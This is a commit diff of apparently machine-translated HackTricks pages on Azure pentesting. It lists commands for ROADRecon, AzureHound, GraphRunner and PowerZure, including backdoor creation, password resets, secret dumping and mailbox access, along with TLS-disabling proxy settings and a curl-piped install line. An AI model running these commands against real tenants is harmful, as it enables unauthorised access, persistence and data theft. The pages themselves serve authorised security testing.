Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:42:04 +00:00
parent 09b9fafab2
commit 0441b77cc4
42 changed files with 791 additions and 798 deletions

View File

@@ -18,12 +18,12 @@
# MFAを使用する場合
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username
</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username
<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
</code></pre>
### Role Chain Juggling
@@ -45,7 +45,7 @@ optional arguments:
<details>
<summary>PowerShellからロールジャグリングを実行するためのコード</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

View File

@@ -22,30 +22,30 @@ AZURE 環境を監査するためには、どの **サービスが使用され
- **ローカルファイル読み取り**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- **`accessTokens.json`** ファイルaz cli 2.30以前 - 2022年1月 - **平文**で **アクセストークン**を保存
- **`azureProfile.json`** ファイルには **ログインユーザー**に関する **情報**が含まれています。
- **`accessTokens.json`** ファイルaz cli 2.30以前 - 2022年1月 - **アクセス トークンを平文で保存**
- **`azureProfile.json`** ファイルには **ログインユーザー** に関する **情報** が含まれています。
- **`az logout`** はトークンを削除します。
- 古いバージョンの **`Az PowerShell`** は **`TokenCache.dat`** に **平文**で **アクセストークン**を保存していました。また、**`AzureRmContext.json`** に **平文**で **ServicePrincipalSecret** を保存します。コマンドレット **`Save-AzContext`** を使用して **トークン**を **保存**できます。\
- 古いバージョンの **`Az PowerShell`** は **アクセス トークン****平文** **`TokenCache.dat`** に保存していました。また、**`AzureRmContext.json`** に **ServicePrincipalSecret** **平文**保存します。コマンドレット **`Save-AzContext`** を使用して **トークン** **保存** できます。\
`Disconnect-AzAccount` を使用してそれらを削除します。
- 第三者が **侵害**された
- 第三者が **侵害された**
- **内部** 従業員
- [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)(資格情報または Oauth アプリ)
- [デバイスコード認証フィッシング](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **パスワードスプレー**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集**することができます:
攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集** することができます:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
> 資格情報を取得した後は、その資格情報が **誰のものであるか**、**何にアクセスできるか**を知る必要があるため、いくつかの基本的な列挙を行う必要があります:
> 資格情報を取得した後は、その資格情報が **誰のものであるか**、および **何にアクセスできるか** を知る必要があるため、いくつかの基本的な列挙を行う必要があります:
## 基本的な列挙
> [!NOTE]
> 列挙の **最も騒がしい**部分は **ログイン** であり、列挙自体ではありません。
> 列挙の **最も騒がしい** 部分は **ログイン** であり、列挙自体ではありません。
### SSRF
@@ -62,9 +62,9 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
有効な資格情報があるがログインできない場合、以下は考えられる一般的な保護です:
- **IP ホワイトリスト** -- 有効な IP を侵害する必要があります
- **地理的制限** -- ユーザーの居住地や会社のオフィス場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します
- **地理的制限** -- ユーザーが住んでいる場所や会社のオフィスがある場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します
- **ブラウザ** -- 特定の OSWindows、Linux、Mac、Android、iOSからのブラウザのみが許可されているかもしれません。被害者/会社が使用している OS を特定します。
- **サービスプリンシパルの資格情報を侵害**することも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。
- **サービスプリンシパルの資格情報を侵害する**ことも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。
バイパスした後、初期設定に戻り、引き続きアクセスできる可能性があります。
@@ -75,7 +75,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
### Whoami
> [!CAUTION]
> az cli、AzureAD、Az PowerShell の **インストール方法**を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。
> az cli、AzureAD、および Az PowerShell の **インストール方法** を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。
最初に知っておくべきことは **自分が誰であるか**(どの環境にいるか)です:
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
>
> 同じ情報を**ウェブコンソール**で取得するには、[https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)にアクセスするか、「すべてのリソース」を検索してください。
### ENtra ID Enumeration
### Entra ID Enumeration
デフォルトでは、任意のユーザーは**ユーザー、グループ、ロール、サービスプリンシパルなどを列挙するのに十分な権限を持っているはずです**[デフォルトのAzureAD権限](az-basic-information/index.html#default-user-permissions)を確認してください)。\
ここにガイドがあります:
@@ -134,7 +134,7 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> 現在、**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていないことを願っています**)。環境で使用されているサービスを特定する時が来ました。\
> これで**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていないことを願っています**)。環境で使用されているサービスを特定する時が来ました。\
> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。
## App Service SCM
@@ -143,232 +143,10 @@ App Service 'コンテナ'にログインするためのKuduコンソール。
## Webshell
portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'はストレージアカウントに画像ファイルとして保存されています。
portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'はストレージアカウント内のイメージファイルとして保存されます。
## Azure DevOps
Azure DevOpsはAzureとは別です。リポジトリ、パイプラインyamlまたはリリース、ボード、ウィキなどがあります。変数グループは変数値と秘密を保存するために使用されます。
Azure DevOpsはAzureとは別です。リポジトリ、パイプラインyamlまたはリリース、ボード、ウィキなどがあります。変数グループは変数値と秘密を保存するために使用されます。
## Debug | MitM az cli
パラメータ**`--debug`**を使用すると、ツール**`az`**が送信しているすべてのリクエストを見ることができます:
```bash
az account management-group list --output table --debug
```
**MitM**ツールに対して**すべてのリクエスト**を手動で確認するには、次のようにします:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## 自動化リコンツール
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -53,7 +53,7 @@ brew upgrade powershell
[**インストール手順はこちら!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)を参照してください。
Azure CLIのコマンドは、次のパターンを使用して構成されています: `az <service> <action> <parameters>`
Azure CLIのコマンドは、次のパターン構成されています: `az <service> <action> <parameters>`
#### デバッグ | MitM az cli
@@ -107,7 +107,7 @@ Get-AzResourceGroup -Debug
### Microsoft Graph PowerShell
Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、そして高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。
Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、および高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。
[**インストール手順**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)については、このリンクを参照してください。
@@ -121,11 +121,250 @@ Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。これは、Entra ID でのユーザー、グループ、およびアプリケーション登録管理などのタスクのための cmdlet を提供します。
Azure Active Directory (AD) モジュールは、現在 **非推奨** であり、Azure AD リソースを管理するための Azure PowerShell の一部です。ユーザー、グループ、および Entra ID のアプリケーション登録管理するための cmdlet を提供します。
> [!TIP]
> これは Microsoft Graph PowerShell に置き換えられました
> これは Microsoft Graph PowerShell に置き換えられま
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
## Automated Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot は steampipe と powerpipe を使用して、Azure と Entra ID から情報を収集し、コンプライアンスチェックを実施し、誤設定を見つけることができます。現在推奨されている Azure モジュールは次のとおりです:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowlerは、AWS、Azure、Google Cloud、およびKubernetesのセキュリティベストプラクティスの評価、監査、インシデントレスポンス、継続的な監視、ハードニング、およびフォレンジック準備を行うためのオープンソースのセキュリティツールです。
基本的には、Azure環境に対して数百のチェックを実行し、セキュリティの誤設定を見つけ、結果をjsonおよび他のテキスト形式で収集するか、ウェブで確認することができます。
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
AzureサブスクリプションとMicrosoft Entra IDのセキュリティ構成レビューを自動的に実行することができます。
HTMLレポートは、githubリポジトリフォルダ内の`./monkey-reports`ディレクトリに保存されます。
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suiteは、手動検査のための構成データを収集し、リスク領域を強調表示します。これは、クラウド環境のセキュリティ姿勢評価を可能にするマルチクラウドセキュリティ監査ツールです。
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
これは、**管理グループと Entra ID** テナント内のすべてのリソースと権限を視覚化し、セキュリティの誤設定を見つけるのに役立つ PowerShell スクリプトです。
このツールは Az PowerShell モジュールを使用して動作するため、このツールがサポートする認証はすべてサポートされています。
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## 自動化されたポストエクスプロイトツール
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
ROADReconの列挙は、ユーザー、グループ、役割、条件付きアクセス ポリシーなど、Entra IDの構成に関する情報を提供します...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
**BloodHound** ウェブを **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** で起動し、`output.json` ファイルをインポートします。
次に、**EXPLORE** タブの **CYPHER** セクションで、事前に構築されたクエリを含む **フォルダー** アイコンを見ることができます。
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst には、Azure サービスの発見、弱い構成の監査、資格情報ダンプなどのポストエクスプロイトアクションをサポートする関数とスクリプトが含まれています。これは、Azure が使用されているペネトレーションテスト中に使用されることを意図しています。
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZureは、Azure、EntraID、および関連リソースの偵察とエクスプロイトを両方行うことができるフレームワークの必要性から作成されました。
このツールは**Az PowerShell**モジュールを使用しているため、このツールがサポートする認証はすべてサポートされています。
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunnerは、Microsoft Graph APIと対話するためのポストエクスプロイトツールセットです。Microsoft Entra ID (Azure AD) アカウントからの偵察、持続性、データの略奪を行うためのさまざまなツールを提供します。
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotterは、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやペンテスターはテナント内の攻撃面とピボットの機会を視覚化でき、ディフェンダーはインシデントレスポンス作業を迅速に整理し、優先順位を付けることができます。
**残念ながら、メンテナンスされていないようです**
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,20 +1,20 @@
# Az - Arc 脆弱な GPO デプロイスクリプト
# Az - Arc vulnerable GPO Deploy Script
{{#include ../../../banners/hacktricks-training.md}}
### 題の特定
### 題の特定
Azure Arc は、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー(ドメインに参加したサーバー)を Azure Arc に統合することを可能にします。これを促進するために、Microsoft はオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zip ファイル内には、次のスクリプトが含まれています: DeployGPO.ps1、EnableAzureArc.ps1、および AzureArcDeployment.psm1。
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバードメインに参加したサーバーをAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれていますDeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
DeployGPO.ps1 スクリプトを実行すると、次のアクションが実行されます:
DeployGPO.ps1スクリプトを実行すると、次のアクションが実行されます
1. ローカルドメイン内に Azure Arc サーバーオンボーディング GPO を作成します。
2. オンボーディングプロセスのために作成された指定されたネットワーク共有に EnableAzureArc.ps1 オンボーディングスクリプトをコピーします。この共有にはWindows インストーラーパッケージも含まれています。
1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。
2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。
このスクリプトを実行する際、システム管理者は **ServicePrincipalId****ServicePrincipalClientSecret** の2つの主要なパラメータを提供する必要があります。さらに、ドメイン、共有をホストするサーバーの FQDN、および共有名などの他のパラメータも必要です。テナント ID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など詳細も必要です。
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など、さらなる詳細も必要です。
